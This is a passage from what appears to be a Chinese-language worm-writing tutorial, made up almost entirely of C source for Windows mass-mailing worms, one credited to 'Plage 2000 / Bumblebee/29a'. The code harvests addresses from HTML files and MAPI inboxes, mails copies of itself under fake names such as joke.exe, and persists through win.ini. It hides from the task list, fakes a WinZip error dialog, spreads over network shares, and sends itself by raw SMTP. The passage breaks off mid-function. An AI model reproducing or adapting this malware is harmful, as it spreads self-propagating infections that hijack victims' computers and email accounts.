    memset(&mes, 0, sizeof(MapiMessage));
    memset(&from, 0, sizeof(MapiRecipDesc));

    from.lpszName=sfrom; // From
    from.ulRecipClass=MAPI_ORIG;
    mes.lpszSubject=subject; // Subject
    mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
    if(!mes.lpRecips)
        fastOut();
    memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
    mes.lpRecips->;lpszName=sto; // Send to
    mes.lpRecips->;ulRecipClass=MAPI_TO;
    mes.nRecipCount=1;

    mes.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
    if(!mes.lpFiles)
        fastOut();
    memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
    mes.lpFiles->;lpszPathName=fileName;
    mes.lpFiles->;lpszFileName=fileNames[count];
    mes.nFileCount=1;

    mes.lpOriginator=&amp;

    mes.lpszNoteText=smes;            // Message
    (MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0);

    free(mes.lpRecips);
    free(mes.lpFiles);
}

void
findMail(char *wild)
{
HANDLE fh;
WIN32_FIND_DATA fdata;
char mail[128];
char buff[512];

    wsprintf(buff,"%s\\*.ht*",wild);
    fh=FindFirstFile(buff,&fdata);
    if(fh==INVALID_HANDLE_VALUE)
        return;                           

    while(1) {
        wsprintf(buff,"%s\\%s",wild,fdata.cFileName);
        GetMail(buff,mail);
        if(strlen(mail)>;0) {
            SendMail(subs[count], "GiftOfFury@Bumblebee.net",mail, texts[count]);
            count++;
            if(count==10)
                count=0;
        }
        if(!FindNextFile(fh,&fdata)) {
            FindClose(fh);
            return;
        }
    }
}

void
GetMail(char *name, char *mail)
{
HANDLE fd,fd2;
char *mapped;
DWORD size,i,k;
BOOL test=FALSE,valid=FALSE;

mail[0]=0;

    fd=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
        FILE_ATTRIBUTE_ARCHIVE,0);
    if(fd==INVALID_HANDLE_VALUE)
        return;

    size=GetFileSize(fd,NULL);
    if(!size)
        return;
    if(size<256)
        return;
    size-=100;

    fd2=CreateFileMapping(fd,0,PAGE_READONLY,0,0,0);
    if(!fd2) {
        CloseHandle(fd);
        return;
    }

    mapped=(char *)MapViewOfFile(fd2,FILE_MAP_READ,0,0,0);
    if(!mapped) {
        CloseHandle(fd);
        return;
    }

    i=0;
    while(i<size && !test) {
        if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
            test=TRUE;
            i+=strlen("mailto:");
            k=0;
            while(mapped!=34 && mapped!=39 && i<size && k<127) {
                if(mapped!=' ') {
                    mail[k]=mapped;
                    k++;
                    if(mapped=='@')
                        valid=TRUE;
                }
                i++;
            }
            mail[k]=0;
        } else
            i++;
    }

    if(!valid)
        mail[0]=0;

    UnmapViewOfFile(mapped);
    CloseHandle(fd);
    return;
}
b.从outlook的地址薄中提取地址
#include<windows.h>;
#include<mapi.h>;
#include<memory.h>;

#include"res.rh"

// API form MAPI32 use by the worm
ULONG (PASCAL FAR *MSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *MLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *MFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
ULONG (PASCAL FAR *MReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
ULONG (PASCAL FAR *MSaveMail)(LHANDLE, ULONG, lpMapiMessage, FLAGS, ULONG, LPTSTR);
ULONG (PASCAL FAR *MFreeBuffer)(LPVOID);
// for task list stealth under win9x
ULONG (PASCAL FAR *RegisterServiceProcess)(ULONG, ULONG);

void SendMail(LHANDLE session, char *subject, char *sfrom, char *sto, char *smes);
BOOL CALLBACK MDialogProc(HWND, UINT, WPARAM, LPARAM);
BOOL CALLBACK MDialogProcPay(HWND, UINT, WPARAM, LPARAM);
BOOL CALLBACK MDialogProcPayPaint(HWND, UINT, WPARAM, LPARAM);
int PASCAL WinMain(HINSTANCE, HINSTANCE, LPSTR, int);


void fake() { fake(); } // fake function
HBITMAP bmp;                // for the payload
char fileName[512];


#pragma argsused
// main
int PASCAL
WinMain(HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR lpCmdLine,
            int nCmdShow)
{
  SYSTEMTIME syst;    // for payload
  char buffer[512];   // erm...
  HINSTANCE MAPIlHnd; // to manage MAPI32.DLL
  LHANDLE session;    // to manage the session login
  char messId[512];   // to store messages identifiers
  MapiMessage *mess;  // to store the mails we read
  char subject[1024],
       address[1024],
          body[8192],
        server[1024]; // to manage... guess!
  long i,j;           // to do some loops
  char *tmp;          // neded at sending mail time
  MSG msg;            // to process messages


  fileName[0]=0;
  // get module name for the attachment, the stealth and residence
  if(!GetModuleFileName(hInstance,fileName,512)) {
     DialogBox(hInstance,"UNZIP",(HWND)NULL,(DLGPROC)MDialogProc);
     return -1;
  }

  GetWindowsDirectory((char *)buffer,12;
  wsprintf(buffer,"%s\\INETD.EXE",buffer);
  i=strcmpi(lpCmdLine,"Install me!");
    if(strcmpi(fileName,buffer) || !i) {
        // install into system
        CopyFile(fileName,buffer,1);
        WriteProfileString("WINDOWS", "RUN", buffer);
        WriteProfileString(NULL, NULL, NULL);
        // do stealth (if not forced installation)
        if(i)
            DialogBox(hInstance,"UNZIP",(HWND)NULL,(DLGPROC)MDialogProc);
        return -1;
    }

  // at this point the worm know it's installed yet
  // avoid multiple instances of worm running at the same time
  // (this works under NT or hPrevInstance is ever NULL?)
  if(hPrevInstance)
    return 0;

  // try to hide the process in the task list
  // this will work only in win9x 'cause NT doesn't exports
  // 'RegisterServiceProcess' API
  HMODULE k32=GetModuleHandle("KERNEL32.DLL");
  if(k32) {
      (FARPROC &)RegisterServiceProcess=GetProcAddress(k32,"RegisterServiceProcess");
      if(RegisterServiceProcess)
        RegisterServiceProcess(NULL,1);
  }

  // check date
  GetSystemTime(&syst);
  if(syst.wDayOfWeek==3 && syst.wHour<2) {
        // get the bitmap from resource
        bmp=LoadBitmap(hInstance,"FOLLOW");
        // show the payload dialog
        DialogBox(hInstance,"PLAGE",(HWND)NULL,(DLGPROC)MDialogProcPay);
        DeleteObject(bmp);
        // continue execution: User should try to remove the worm:
        // make it harder... from Winblows only can erase win.ini line
        // while the worm is running (cannot stop it if task list stealth
        // works). The worm restores this line when user closes the system
        // juajua.
  }

  // sleep five minutes before act
  Sleep(60000*5);

  // load MAIP32.DLL
  MAPIlHnd=LoadLibrary("MAPI32.DLL"); // try to load MAPI32.DLL
  if(!MAPIlHnd)
     return -1;

  // get MAPILogon
  (FARPROC &)MLogon=GetProcAddress(MAPIlHnd, "MAPILogon");
  if(!MLogon)
     return -1;

  // get MAPIFindNext
  (FARPROC &)MFindNext=GetProcAddress(MAPIlHnd, "MAPIFindNext");
  if(!MFindNext)
     return -1;

  // get MAPIReadMail
  (FARPROC &)MReadMail=GetProcAddress(MAPIlHnd, "MAPIReadMail");
  if(!MReadMail)
     return -1;

  // get MAPIFreeBuffer
  (FARPROC &)MFreeBuffer=GetProcAddress(MAPIlHnd, "MAPIFreeBuffer");
  if(!MFreeBuffer)
     return -1;

  // get MAPISendMail
  (FARPROC &)MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail");
  if(!MSendMail)
     return -1;

  // get MAPISaveMail
  (FARPROC &)MSaveMail=GetProcAddress(MAPIlHnd, "MAPISaveMail");
  if(!MSaveMail)
     return -1;

  // 1st logon the default account
  if(MLogon(NULL,NULL,NULL,MAPI_USE_DEFAULT,
        NULL,&session)!=SUCCESS_SUCCESS)
     return -1;

  // 2nd find unread messages identifiers
  // this is the infinite loop of the worm (while message!=WM_QUIT)
  // run with lowest priority while not messages into inbox
  SetThreadPriority(NULL,THREAD_PRIORITY_LOWEST);
  while(GetMessage(&msg,NULL,0,0))
  if(MFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID|MAPI_UNREAD_ONLY
            ,NULL,messId)==SUCCESS_SUCCESS) {
        do {
                // 3rd read minium of message and test checked mark
                if(MReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,
                    NULL,&mess)==SUCCESS_SUCCESS) {
                    // we want a subject of at least 2 chars
                    if(lstrlen(mess->;lpszSubject)>;2)
                    // test the checked mark
                    if(mess->;lpszSubject[strlen(mess->;lpszSubject)-1]!=' ' &&
                        mess->;lpszSubject[strlen(mess->;lpszSubject)-2]!=' ') {
                        MFreeBuffer(mess);
                        // Do it fast!
                        SetThreadPriority(NULL,THREAD_PRIORITY_HIGHEST);
                    // read all the message and process it
                    if(MReadMail(session,NULL,messId,MAPI_SUPPRESS_ATTACH|MAPI_PEEK,
                        NULL,&mess)==SUCCESS_SUCCESS) {
                        body[0]=0;
                        if(mess->;lpszNoteText) {
                            wsprintf(body,"'%s' wrote:\n====\n- ",mess->;lpOriginator->;lpszName);
                            for(i=0,j=lstrlen(body);i<lstrlen(mess->;lpszNoteText) && j<512;i++,j++) {
                                body[j]=mess->;lpszNoteText;
                                if(body[j]=='\n') {
                                    body[j]=0;
                                    lstrcat(body,"\n- ");
                                    j+=2;
                                }
                            }
                            body[j]=0;
                        }
                        for(i=0;i<lstrlen(address) && address!='@';i++);
                        if(i<lstrlen(address))
                            wsprintf(server,"%s account",address+i+1);
                        else
                            wsprintf(server,"P2000 Mail");
                        if(j>;=512)
                            lstrcat(body," ...'");
                        else
                            lstrcat(body," ");
                        wsprintf(body+strlen(body),"\n====\n\n %s auto-reply:\n\n",server);
                        lstrcat(body,"  \' I'll try to reply as soon as possible.\n"
                        "  Take a look to the attachment and send me your opinion! \'\n\n\n");
                        wsprintf(body+strlen(body),"\t>; Get your FREE %s now! <\n\n",server);
                        // it's important the reply has the checked mark!
                        wsprintf(subject,"Re: %s  ",mess->;lpszSubject);
                        wsprintf(address,"%s",mess->;lpOriginator->;lpszAddress);
                        // send a mail ;)
                        SendMail(session, subject, NULL, address, body);
                        // set our 'checked' mark
                        tmp=(char *)malloc(strlen(mess->;lpszSubject)+3);
                        strcpy(tmp,mess->;lpszSubject);
                        free(mess->;lpszSubject);
                        tmp[strlen(tmp)+2]=0;
                        tmp[strlen(tmp)]=' ';
                        tmp[strlen(tmp)-1]=' ';
                        mess->;lpszSubject=tmp;
                        MSaveMail(session, NULL, mess, MAPI_LONG_MSGID, NULL, messId);
                        MFreeBuffer(mess);
                        // return to lowest priority
                        SetThreadPriority(NULL,THREAD_PRIORITY_LOWEST);
                    }
                    } else
                        MFreeBuffer(mess);
                }

        } while(MFindNext(session,0,NULL,messId,MAPI_LONG_MSGID |
            MAPI_UNREAD_ONLY,NULL,messId)==SUCCESS_SUCCESS);
  }
  // free MAPI32.DLL
  FreeLibrary(MAPIlHnd);

  // before ends the worm check the win.ini line it's still there ;)
  WriteProfileString("WINDOWS", "RUN", buffer);
  WriteProfileString(NULL, NULL, NULL);
  return 0;
}

// improved from gift family
void
SendMail(LHANDLE session, char *subject, char *sfrom,char *sto, char *smes)
{
char *attachment[]={
"pics.exe",
"images.exe",
"joke.exe",
"PsPGame.exe",
"news_doc.exe",
"hamster.exe",
"tamagotxi.exe",
"searchURL.exe",
"SETUP.EXE",
"Card.EXE",
"billgt.exe",
"midsong.exe",
"s3msong.exe",
"docs.exe",
"humor.exe",
"fun.exe"
};
MapiMessage mes;
MapiRecipDesc from;

    memset(&mes, 0, sizeof(MapiMessage));
    memset(&from, 0, sizeof(MapiRecipDesc));

    from.lpszName=sfrom; // From
    from.ulRecipClass=MAPI_ORIG;
    mes.lpszSubject=subject; // Subject
    mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
    if(!mes.lpRecips)
        return;
    memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
    mes.lpRecips->;lpszName=sto; // Send to
    mes.lpRecips->;ulRecipClass=MAPI_TO;
    mes.nRecipCount=1;

    mes.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
    if(!mes.lpFiles)
        return;
    memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
    mes.lpFiles->;lpszPathName=fileName;
    mes.lpFiles->;lpszFileName=attachment[GetTickCount()&15];
    mes.nFileCount=1;

    mes.lpOriginator=&amp;

    mes.lpszNoteText=smes;            // Message
    MSendMail(session, NULL, &mes, NULL, NULL);

    free(mes.lpRecips);
    free(mes.lpFiles);
}

#pragma argsused
// this is my stealth UNZIP dialog procedure
BOOL CALLBACK
MDialogProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
char tmp[1024];
int i;

switch(msg) {
    default:
    break;

    // setup the dialog for a full stealth ;)
    case WM_INITDIALOG:
            if(strlen(fileName)>;0)
                for(i=strlen(fileName);i>;0 && fileName!='\\';i--);
            else
                strcpy(fileName,"Sel-Extractor");
            wsprintf(tmp,"To unzip all files in %s to the specified "
            "folder press the Unzip button.",fileName+i+1);
            SetDlgItemText(hwnd,TMESS,tmp);
            wsprintf(tmp,"WinZip self-Extractor - %s",fileName+i+1);
            SetWindowText(hwnd,tmp);
            CheckDlgButton(hwnd,IDCHECK,1);
    return TRUE;

    case WM_COMMAND:
            switch(wparam) {
                // if one of this... make stealth
                case IDUNZIP:
                case IDWINZIP:
                    wsprintf(tmp,"ZIP damaged: file %s: Bad CRC number.\nPossible cause:"
                        " file transfer error.",fileName);
                    MessageBox(hwnd,tmp,"WinZip Self-Extractor",MB_ICONSTOP|MB_OK);
                    EndDialog(hwnd,0);
                return TRUE;
                // this stealth is different...
                case IDABOUT:
                case IDHELP:
                case IDBROWSE:
                    // this fake func will end the app with a stack fault
                    fake();
                break;
                // if close... end the app
                case IDCLOSE:
                    EndDialog(hwnd,0);
                return TRUE;

                default:
                return FALSE;
            }
    break;
}
return FALSE;
}

#pragma argsused
// this is my payload PLAGE dialog procedure
BOOL CALLBACK
MDialogProcPay(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
HWND dlgItemHnd;

switch(msg) {
    default:
    break;

    case WM_INITDIALOG:
            SetDlgItemText(hwnd,TEXTMSG,
            "\nFight against the plage of inhumanity.\n"
            "This is Plage 2000 coded by Bumblebee/29a.");
            SetWindowText(hwnd,"Plage 2000 Activation");
            dlgItemHnd=GetDlgItem(hwnd,PHOTO);
            SetWindowLong(dlgItemHnd,GWL_WNDPROC,(LONG)MDialogProcPayPaint);
    return TRUE;

    case WM_COMMAND:
            switch(wparam) {
                case IDOK:
                    EndDialog(hwnd,0);
                return TRUE;

                default:
                break;
            }
    break;
}
return FALSE;
}

#pragma argsused
// this is my payload PLAGE dialog procedure to paint the picture
BOOL CALLBACK
MDialogProcPayPaint(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
HDC dc,dcMEM;
RECT rc;
POINT end;

switch(msg) {
    default:
    break;

    case WM_PAINT:
            dc=GetDC(hwnd);
            dcMEM=CreateCompatibleDC(dc);
            SetMapMode(dcMEM,GetMapMode(dc));
            SelectObject(dcMEM,bmp);
            GetWindowRect(hwnd,&rc);
            end.x=225;    // size of the image
            end.y=296;
            DPtoLP(dcMEM,&end,1);
            StretchBlt(dc,0,0,rc.right-rc.left,rc.bottom-rc.top,
                          dcMEM,0,0,end.x,end.y,SRCCOPY);
            DeleteDC(dcMEM);
    return TRUE;

}
return FALSE;
}

2.smtp using
参见《浅谈用delphi写蠕虫病毒》,在下认为whaoye的文章讲得已经很细了,不用再讲了


b.局域网的例子(也带上了smtp)
/

    #define WIN32_LEAN_AND_MEAN
    #define STRICT

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

    #include <stdlib.h>;
    #include <stdio.h>;
    #include <string.h>;
    #include <windows.h>;
    #include <winbase.h>;
    #include <wininet.h>;
    #include <winnetwk.h>;
    #include <winreg.h>;
    #include <winsock2.h>;



//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

    HMODULE        hKERNEL32 ;
    FARPROC        a_RegisterServiceProcess ;

    HMODULE        hMPR ;
    FARPROC        a_WNetOpenEnum ;
    FARPROC        a_WNetCloseEnum ;
    FARPROC        a_WNetEnumResource ;

    HMODULE        hADVAPI ;
    FARPROC        a_RegOpenKeyExA ;
    FARPROC        a_RegQueryValueExA ;
    FARPROC        a_RegCloseKey ;

    HINSTANCE    hWINSOCK ;
    FARPROC        a_WSAStartup ;
    FARPROC        a_inet_addr ;
    FARPROC        a_gethostbyaddr ;
    FARPROC        a_gethostbyname ;
    FARPROC        a_htons ;
    FARPROC        a_socket ;
    FARPROC        a_connect ;
    FARPROC        a_send ;
    FARPROC        a_recv ;
    FARPROC        a_closesocket ;
    FARPROC        a_WSACleanup ;
   
    SOCKET        conn_socket ;

    char        szSMTPname[ 256] ;
    char        szSMTPaddr[ 256] ;
    char        szMAIL_FROM[ 256] ;
    char        szRCPT_TO[ 256] ;
    int        Found ;
    BOOL        InetActivated ;
    BOOL        MailDone ;

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

    long WINAPI        L0calThread    ( long) ;
    long WINAPI        Rem0teThread    ( long) ;
    long WINAPI        MailThread    ( long) ;
    void            NetW0rming    ( LPNETRESOURCE) ;
    void            Rem0teInfecti0n    ( char *) ;
    BOOL            str2socket    ( char *, BOOL) ;
    BOOL            GetSMTP        ( char *, char *) ;
    void            base64_encode    ( const void *, int) ;
    char            *DecryptStr    ( char *) ;
    void            FindPe0ple    ( char *) ;
    void            WaitC0nnected    ( void) ;
    BOOL CALLBACK        EnumWindowsProc    ( HWND, LPARAM) ;

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

int APIENTRY WinMain (    HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            LPSTR     lpCmdLine,
            int       nCmdShow)
{
    long w0rm_ThreadCodeList[ 3] =    {   
                    ( long) L0calThread,
                    ( long) Rem0teThread,
                    ( long) MailThread
                    } ;

    char *StrArray[ 66] =    {
                    szCopyRight,
                    szFakeMsg,
                    szSetUp,
                    szWNetOpenEnumA,
                    szWNetCloseEnum,
                    szWNetEnumResourceA,
                    szMPR_DLL,
                    szWINSOCK_DLL,
                    szWSAStartup,
                    szinet_addr,
                    szgethostbyaddr,
                    szgethostbyname,
                    szhtons,
                    szsocket,
                    szconnect,
                    szsend,
                    szrecv,
                    szclosesocket,
                    szWSACleanup,
                    smtp_str00,
                    smtp_str01,
                    smtp_str02,
                    smtp_str03,
                    smtp_str06,
                    smtp_str07,
                    smtp_str08,
                    smtp_str09,
                    smtp_str0B,
                    smtp_str0C,
                    smtp_str0D,
                    smtp_str0E,
                    smtp_str0F,
                    smtp_newline,
                    smtp_separator,
                    szWindir00,
                    szWindir01,
                    szWindir02,
                    szWindir03,
                    szWindir04,
                    szWIN_INI,
                    szSETUP_EXE,
                    szSYSTEM_EXE,
                    szADVAPI_DLL,
                    szRegOpenKeyExA,
                    szRegQueryValueExA,
                    szRegCloseKey,
                    szAccountManager,
                    szDefaultMail,
                    szAccounts,
                    szSMTPserver,
                    szSMTPemail,
                    szExt00,
                    szExt01,
                    szExt02,
                    szExt03,
                    szExt04,
                    szExt05,
                    szExt06,
                    szOutlook,
                    szCuteFtp,
                    szInternetExplorer,
                    szTelnet,
                    szMirc,
                    szRegisterServiceProcess,
                    szKernel32,
                    szTempFile
                } ;

    static HANDLE    w0rm_hThreadList[ 3] ;
    DWORD        w0rm_ThreadIDList[ 3] ;
    char        szModule[ MAX_PATH] ;
    char        *Param ;
    int        count ;
    int        min_threads ;
    int        max_threads ;
    BOOL        re_generation ;

    MailDone = FALSE ;

    for ( count = 0 ; count < 66 ; count++ ) DecryptStr( StrArray[ count]) ;

    GetModuleFileNameA( NULL, szModule, MAX_PATH) ;
    Param = szModule ;

    while( *Param != 0) Param++ ;

    Param -= 5 ;

    if (( *Param == 'P') || ( *Param == 'p'))
    {
        MessageBox(    NULL,
                szFakeMsg,
                szSetUp,
                MB_OK | MB_ICONSTOP) ;

        re_generation = FALSE ;
        max_threads = 1 ;
    }   
    else
    {
        if ( ( hKERNEL32 = GetModuleHandleA( szKernel32)) != NULL)
        {
            if ( ( a_RegisterServiceProcess = GetProcAddress( hKERNEL32, szRegisterServiceProcess)) != NULL)
            {
                a_RegisterServiceProcess ( GetCurrentProcessId(), 1) ;
            }
        }
        
        re_generation = TRUE ;
        max_threads = 3 ;
    }

    min_threads = 0 ;

    do
    {
        for ( count = min_threads ; count < max_threads ; count++ )
        {
            w0rm_hThreadList[ count] = CreateThread(    NULL,
                                    0,
                                    ( LPTHREAD_START_ROUTINE) w0rm_ThreadCodeList[ count],
                                    NULL,
                                    0,
                                    &w0rm_ThreadIDList[ count]) ;
        }

        for ( count = min_threads ; count < max_threads ; count++ )
        {
            if ( w0rm_hThreadList[ count] != NULL)
            {
                WaitForSingleObject( w0rm_hThreadList[ count], INFINITE) ;
                CloseHandle ( w0rm_hThreadList[ count]) ;
            }
        }

        if ( MailDone)
        {
            GetWindowsDirectoryA( szModule, MAX_PATH) ;
            strcat( szModule, szWIN_INI) ;
            WritePrivateProfileStringA( szWindir00, "run", "", szModule) ;
            re_generation = FALSE ;
        }

        min_threads = 1 ;

        if ( re_generation) Sleep( 0x000FFFFF) ;

    } while( re_generation) ;

    return 0 ;
}

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

long WINAPI L0calThread(long lParam)
{
    char szLD[ 512] ;
    char *lpszDrive ;
    int size ;

    lpszDrive = &szLD[ 0] ;   
   
    size = GetLogicalDriveStringsA ( 512, lpszDrive) ;

    if ( ( size != 0) && ( size < 512))
    {
        while ( *lpszDrive != (char ) NULL)
        {
            if ( GetDriveTypeA( lpszDrive) == DRIVE_FIXED)
            {
                *( lpszDrive + 2) = 0 ;

                Rem0teInfecti0n( lpszDrive) ;

                lpszDrive += 3 ;
            }
            while ( *lpszDrive != ( char) NULL) lpszDrive++ ;
            lpszDrive++ ;
        }
    }
    else Rem0teInfecti0n( "C:\\") ;

    return 0 ;
}

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

long WINAPI Rem0teThread(long lParam)
{
    if ( ( hMPR = LoadLibraryA ( szMPR_DLL)) != NULL)
    {   
        a_WNetOpenEnum        = ( FARPROC) GetProcAddress ( hMPR, szWNetOpenEnumA) ;
        a_WNetCloseEnum        = ( FARPROC) GetProcAddress ( hMPR, szWNetCloseEnum) ;
        a_WNetEnumResource    = ( FARPROC) GetProcAddress ( hMPR, szWNetEnumResourceA) ;

        if (     ( a_WNetOpenEnum != NULL)    &&
             ( a_WNetCloseEnum != NULL)    &&
            ( a_WNetEnumResource != NULL))
        {
            NetW0rming( NULL) ;
        }
        FreeLibrary ( hMPR) ;
    }

    return 0 ;
}

//贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩贩?

long WINAPI MailThread(long lParam)
{
    unsigned int        addr ;
    struct sockaddr_in    server ;
    struct hostent        *hp ;
    WSADATA            wsaData ;

    HANDLE            hFile ;
    HANDLE            hMap ;

    char            enc0de_filename[ MAX_PATH] ;
    char            ShortBuff[ 512] ;
    char            szSIGN[ 512] ;
    char            szHELO[ 512] ;

    BOOL            Success ;
    void            *lpFile ;
   
    int             StrCount ;
    int             FileSize ;

    typedef struct
    {
        char    *Command ;
        BOOL    WaitReply ;
    }
    SMTPstr ;

    SMTPstr SMTPstrings00[ 2] = {    szHELO,        TRUE  ,
                    szMAIL_FROM,    TRUE  } ;

    SMTPstr SMTPstrings01[ 11] = {    smtp_str03,    TRUE  ,
                    szMAIL_FROM+5,    FALSE ,
                    smtp_str06,    FALSE ,
                    smtp_str07,    FALSE ,
                    smtp_separator,    FALSE ,
                    smtp_str08,    FALSE ,
                    smtp_separator,    FALSE ,
                    smtp_str09,    FALSE ,
                    szSIGN,        FALSE ,
                    smtp_separator,    FALSE ,
                    smtp_str0B,    FALSE } ;

    SMTPstr SMTPstrings02[ 6] = {    smtp_str0C,    FALSE ,
                    smtp_separator,    FALSE ,
                    smtp_str0D,    FALSE ,
                    smtp_newline,    FALSE ,
                    smtp_str0E,    TRUE,
                    smtp_str0F,    FALSE } ;
    WaitC0nnected() ;

    if ( !GetSMTP( szSMTPname, szSMTPaddr)) return 0 ;
   
    sprintf( szHELO, "%s %s\n", smtp_str00, szSMTPname) ;
    sprintf( szMAIL_FROM, "%s <%s>;\n", smtp_str01, szSMTPaddr) ;
    sprintf( szSIGN,"\n\n\n----\n%s\n\n--", szSMTPaddr) ;

    if ( ( hWINSOCK = LoadLibraryA( szWINSOCK_DLL)) == NULL) return 0 ;

    a_WSAStartup        = ( FARPROC) GetProcAddress( hWINSOCK, szWSAStartup) ;
    a_inet_addr        = ( FARPROC) GetProcAddress( hWINSOCK, szinet_addr) ;
    a_gethostbyaddr        = ( FARPROC) GetProcAddress( hWINSOCK, szgethostbyaddr) ;
    a_gethostbyname        = ( FARPROC) GetProcAddress( hWINSOCK, szgethostbyname) ;
    a_htons            = ( FARPROC) GetProcAddress( hWINSOCK, szhtons) ;
    a_socket        = ( FARPROC) GetProcAddress( hWINSOCK, szsocket) ;
    a_connect        = ( FARPROC) GetProcAddress( hWINSOCK, szconnect) ;
    a_send            = ( FARPROC) GetProcAddress( hWINSOCK, szsend) ;
    a_recv            = ( FARPROC) GetProcAddress( hWINSOCK, szrecv) ;
    a_closesocket        = ( FARPROC) GetProcAddress( hWINSOCK, szclosesocket) ;
    a_WSACleanup        = ( FARPROC) GetProcAddress( hWINSOCK, szWSACleanup) ;

    if ( ( a_WSAStartup == NULL)        ||
         ( a_inet_addr == NULL)        ||
         ( a_gethostbyaddr == NULL)    ||
         ( a_gethostbyname == NULL)    ||
         ( a_htons == NULL)        ||
         ( a_socket == NULL)        ||
         ( a_connect == NULL)        ||
         ( a_send == NULL)        ||
         ( a_recv == NULL)        ||
         ( a_closesocket == NULL)    ||
         ( a_WSACleanup == NULL))
    {
        FreeLibrary( hWINSOCK) ;        
        return 0 ;
    }

    if ( a_WSAStartup( 0x0001, &wsaData) == SOCKET_ERROR)
    {
        FreeLibrary( hWINSOCK) ;        
        return 0 ;
    }
   
    if ( isalpha( ( int) szSMTPserver[ 0]))
    {
        hp = ( struct hostent *) a_gethostbyname( szSMTPname) ;
    }
    else  
    {
        addr = a_inet_addr( szSMTPname) ;
        hp = ( struct hostent *) a_gethostbyaddr( (char *)&addr, 4, AF_INET) ;
    }

    if ( hp == NULL)
    {
        a_WSACleanup() ;
        FreeLibrary( hWINSOCK) ;        
        return 0 ;
    }

    memset( &server, 0, sizeof( server)) ;
    memcpy( &server.sin_addr, hp->;h_addr, hp->;h_length) ;
    server.sin_family = hp->;h_addrtype ;
    server.sin_port = a_htons( 25) ;

    conn_socket = a_socket( AF_INET, SOCK_STREAM, 0) ;

    if ( conn_socket < 0 )
    {
        a_WSACleanup() ;
        FreeLibrary( hWINSOCK) ;        
        return 0 ;
    }

    if ( a_connect( conn_socket, (struct sockaddr *) &server, sizeof( server)) == SOCKET_ERROR)
    {
        a_closesocket( conn_socket) ;   
        a_WSACleanup() ;
        FreeLibrary( hWINSOCK) ;
    }

    a_recv( conn_socket, ShortBuff, sizeof ( ShortBuff),0 ) ;
   
    for ( StrCount = 0 ; StrCount < 2 ; StrCount++ )
    {
        Success = str2socket( SMTPstrings00[ StrCount].Command, SMTPstrings00[ StrCount].WaitReply) ;
        if ( !Success) break ;                                
    }
   
    if ( Success)
    {
        Found = 0 ;

        GetWindowsDirectoryA( enc0de_filename, MAX_PATH) ;
        enc0de_filename[ 3] = 0 ;

        FindPe0ple( enc0de_filename) ;   
   
        for ( StrCount = 0 ; StrCount < 11 ; StrCount++ )
        {
            Success = str2socket( SMTPstrings01[ StrCount].Command, SMTPstrings01[ StrCount].WaitReply) ;
            if ( !Success) break ;                                
        }

        if ( Success)
        {
            GetModuleFileNameA( NULL, ShortBuff, MAX_PATH) ;
            GetTempPathA( MAX_PATH, enc0de_filename) ;
            strcat( enc0de_filename, szTempFile) ;

            if ( CopyFileA( ShortBuff, enc0de_filename, FALSE) != 0)
            {
                if ( ( hFile = CreateFileA(    enc0de_filename,
                                GENERIC_READ,
                                FILE_SHARE_READ,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL)) != INVALID_HANDLE_VALUE)
                {
                    FileSize = GetFileSize( hFile, NULL) ;

                    if ( ( FileSize != 0xFFFFFFFF) && ( FileSize != 0))
                    {
                        if ( ( hMap = CreateFileMappingA(    hFile,
                                            NULL,
                                            PAGE_READONLY | PAGE_WRITECOPY,
                                            0,
                                            FileSize,
                                            NULL)) != NULL)
                        {
                            if ( ( lpFile = MapViewOfFile(    hMap,
                                            FILE_MAP_READ,
                                            0,
                                            0,
                                            FileSize)) != NULL)
                            {        
                                base64_encode( lpFile, FileSize) ;

                                for ( StrCount = 0 ; StrCount < 6 ; StrCount++ )                                            
                                {
                                    if ( ( Success = str2socket(     SMTPstrings02[ StrCount].Command,
                                                    SMTPstrings02[ StrCount].WaitReply)) == FALSE) break ;
                                }

                                if ( Success) MailDone = TRUE ;

                                UnmapViewOfFile( lpFile) ;
